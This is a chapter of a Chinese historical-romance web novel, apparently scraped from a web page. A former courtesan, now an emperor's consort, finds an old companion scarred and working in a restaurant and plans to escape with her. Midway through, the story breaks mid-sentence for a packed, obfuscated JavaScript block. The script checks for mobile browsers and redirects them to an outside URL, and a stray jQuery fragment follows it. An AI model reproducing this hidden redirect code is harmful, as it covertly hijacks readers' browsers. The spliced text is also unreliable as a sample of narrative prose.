久了没出来,外面变了一副样子,宁絮感到很新奇,一有空就扒着窗边往外看。
看到后面石虔都吃味,问她可是相中了哪位美公子。
宁絮连连否认,只道天下男子皆比不得陛下半分英俊,倘若陛下肯去给她买鱼羹,就更是俊美得令天地失色。
从前在明月楼,小石头也会带鱼羹上来。为了保持身材,鸨姐儿严格控制她们的饮食,姐妹们嘴里淡得没味道,全靠宁絮与石虔交好,让他带些零嘴,趁鸨姐儿不在大家分着吃。
一说到鱼羹,石虔也想起那时的事情,笑着去捏宁絮的脸:“三娘又嘴馋了?”
宁絮身段好似玉瓶,进了宫里好吃好喝的养着,却比当年瘦了许多,皮贴骨,揪不出一点肉。石虔舍不得再捏,应道:“过了这条街,到前面的客栈,便停下休整。咱们去集市逛逛,看上什么,朕都买给你。”
在客栈小憩,喝了一盏茶后,石虔履行诺言,乔装改扮一番,带着宁絮出门。身后跟着几个侍卫,皆扮作平民,散乱在人群里,很不起眼。
石虔差人打听清楚了,这片地方口碑最好的鱼羹在百花楼,依水而建,水美鱼肥。早有人替他跑腿,订下了雅间的位子,只等他在外逛得尽兴了,前去品尝全鱼宴。
宁絮手上拿着石虔给她买的糖画,一路走一路抿,到了百花楼门口才堪堪吃了一半。门边挂着鸽子笼,两只深灰色的鸽子好奇地盯着她手上的物件。
她正打算抛却这副斯文相,三两下对付完,就见后厨走出来一位女子,低眉颔首,端着一碟鱼羹,上给靠窗的那一桌客人。
女子脸上蒙了纱,身形窈窕,那一桌又全是男客,不免想入非非。
其中一位喝大了,直接上手扯下那层面纱,而后大骇,一个劲地骂娘。
同桌的另一位也是吓得一抖手,将鱼羹打翻在地。
“你们家掌柜的呢?这么大个酒楼,招不到店小二了不成?找这么一个丑妇端茶送水,存心让人吃不下饭么?!”
老板闻声赶来,不由分说抽了女子两个嘴巴,对几位客官陪笑脸,揽下全部过错,又答应免了这顿饭钱,一行人方才作罢。
宁絮看在眼里,恨不得给那桌男客连带老板一人赏一个耳刮子。她曾经习武,手劲大,若是不加收敛,一巴掌过去能给打掉他们牙。
可惜跟在石虔身边,不得轻举妄动。
那女子无端遭受打骂,也无甚反应,蹲下收拾残局。转身的一刻,宁絮瞥见她正脸,呼吸一窒。
糖画跌落在地,已经看不出原本的形状。
女子脸上一大块疙里疙瘩的疤痕,形容可怖,看着像烧伤。但就算她已经面目全非,宁絮凭步态和轮廓,也绝不会认错。
石虔察觉到宁絮落后,回过头就看到她手抓在楼梯栏杆上,想是极为用力,骨节都泛白。顺着她的视线望过去,他倒是什么也没看见,无非是后厨那边的人来来往往。
他对酒楼里的吵闹不甚在意,觉得顶多就是客人声音大了点,宁絮许是久未见生人,不太适应。
他下了几级台阶,去搂宁絮:“好了,左不过是市井小民瞎叫唤,他们闹起来就是没有分寸的,你还记挂上了。快上来,你不是盼鱼羹盼了好久了。”
宁絮敛了心绪,对他笑了笑,与他一同上楼,神色如常。席间谈笑风生,不免多喝了几杯酒,烈度都不高,饶是如此,宁絮到后来还是捂着腹部眉头微蹙。
石虔看出她异样,立刻差人倒热茶:“怎么,又疼了?你不能再拖了,等回去我一定叫医官来替你诊治。”
“不是这个原因。”宁絮面露难色,“是……可能是吃得有点多了,我想……”
石虔一愣,而后了然,哭笑不得:“去吧去吧,我以为多大事……我叫两个人跟你一块儿,人生地不熟的,别找不回来了。”
“这就不必了,妾身难道不懂开口问人吗。”宁絮有点恼羞成怒,压低声音,“都是男子,怎好跟着我!我去去就回——”
石虔许久不见她如此生动的样子,于是依着她,真的没喊人跟随。想想也是,她并非手不能提肩不能扛的千金小姐,当年走南闯北什么事没做过,还能跑丢了不成?
宁絮走出雅间,下了楼梯,问店小二茅房在哪。进了茅厕却并不动作,而是从窗子翻出去,抄了另一条路去了酒楼后门。
后门连通后厨,她猫着身子等待片刻,果不其然等到了方才被掌掴的女子。
女子手上拿着一个木盆,应当是准备去打水洗碗。宁絮将她拦腰一抱,挟着她躲进旁边僻静无人的拐角。
她张了张嘴,几度欲言又止,最后轻声道:“夫人这是做什么?”
宁絮怒极反笑:“你叫我什么?你敢说你记不得我了?”
她垂着头,再不言语。
宁絮深呼吸几下,按住她肩膀:“秋霞,你告诉我,你怎么会在这里?当年我们解散,我听闻你嫁了个富商。”
她们到底是贱籍出身,即便有功,也嫁不到什么好人家。当年石虔大手一挥,让她们全部脱离贱籍,还主动提出要为她们觅得夫婿,朝中人都颇有微词,认为有伤风化。
宁絮能入后宫,更是引起了轩然大波。
情义尚在之时,石虔力排众议,就这样做了。后来他告诉宁絮,他命人去给明月楼的姐妹们说亲,全国各地的富商这么多,绝不至于在吃喝上苦了她们,晚年也会有个好归宿。
石虔自认仁至义尽,言语之间颇有邀功的意思。宁絮试着去承他的情,奈何心有不甘,怎么也给不出个笑脸。
助他打下江山的,还有当年一起表演杂耍的兄弟,人家可是一跃成为大将军了。江湖艺人和烟花女子,同样是下九流,论功行赏之际,何以待遇如此天差地别?
凭什么?
宁絮如鲠在喉,极力克制着没有去呛石虔。石虔看她拉着脸,也觉得来气,最后二人不欢而散。
念在眼下的境遇不知比在明月楼好了多少倍,宁絮最终还是咽下这口气。不咽也得咽。知道当年的姐妹们安好,她也就没什么可遗憾的。
但是秋霞这副样子,怎么看也不像过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326034|167622||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得好。
宁絮心神激荡,看着她脸上蜿蜒曲折的疤痕,眼前阵阵发黑:“秋霞,你说实话,到底是怎么回事?”
秋霞又低下头,她现在不爱以本来面目示人了,怕吓着人,也怕叫人骂。没有底气,声音也细弱,说起前因后果都断断续续的。
当初她嫁了富商不假,皇上指派来的,就算嫌弃,人家也不敢薄待了她。
这位富商已经年迈,正妻病逝,她是续弦,家里几个儿女都与她差不多大,相处起来磕磕绊绊,人家对她始终谈不上接纳。
没两年富商也走了,江都离京城又不近,隔了这么久,料想皇上也早就想不起有这么一号人,他们便不再客气。
财产必然是分不到半点,甚至谁也不肯给她一间屋子住。人活着就要找饭吃,她只得出来找事做。老本行是万万不愿再做,身上确实有些本事,但是镖局这种地方甚少收女子,她进不去。
思前想后,也只有卖力气做帮工一条路,还得每天把脸涂黑,免得被有心之人盯上。
她那时就跟在现在这位掌柜手下帮工,那会儿百花楼还只是一间不起眼的小店,并不富裕。有一次后厨起火,她拼着力气把新送来的肉抢出来,脸也被灼得不能看了。
这掌柜也有几分义气,再难也不曾辞掉她,直到开了酒楼,也还在用她,包食宿还发工钱。只是他脾气一贯暴躁,且无条件站在客人那一边,客人找哪个伙计的麻烦,他便对那伙计动手。
秋霞没少蒙受不白之冤,但比起流离失所,在这呆着已经是最好的选择。
“姐姐,你过得可好?”
宁絮一时语塞。她能吃饱穿暖,甚至可说锦衣玉食,怎能算是不好?
但,她看到过那些文臣武将是何等意气风发,也记得临死那天的雪是何等寒冷彻骨。
这个好字,又无论如何都说不出口。
秋霞和她差不多算是一起长大的,很多事情不用说也心知肚明。她不刨根究底,只轻轻拍了拍宁絮的胳膊。
她们在这叙话的时间已经够久,怕石虔派人来寻,宁絮贴在秋霞耳边长话短说:“我要走,先想法子弄点钱,你在这等我,到时我带你一起走。你还知道其他人的下落吗?”
秋霞看着唯唯诺诺,对宁絮这番离经叛道之言却并不意外。她摇头,说大家早就彼此失散了,一开始还跟梅诗诗有书信往来,后来不知怎的,诗诗那边也再无回音。
“当时她嫁到丰城,离这儿不远,现在就不知道了。”
“姐姐,你想去哪里?”
当年宁絮从京城返回,要带她们一块儿离开明月楼,去投奔石虔,秋霞是第一个站出来响应的。她平素不声不响,安分守己,仿佛什么都能忍,可一旦有脱离泥潭的机遇,哪怕希望渺茫,她也会去试试。
“还没定好地方,此事须得从长计议。”
秋霞低声道:“你来这一趟,很快又要走吧,如何计议?宫里准许与外人通信?”
宁絮眼珠一转,计上心来:“你们百花楼门口那两只鸽子,卖吗?”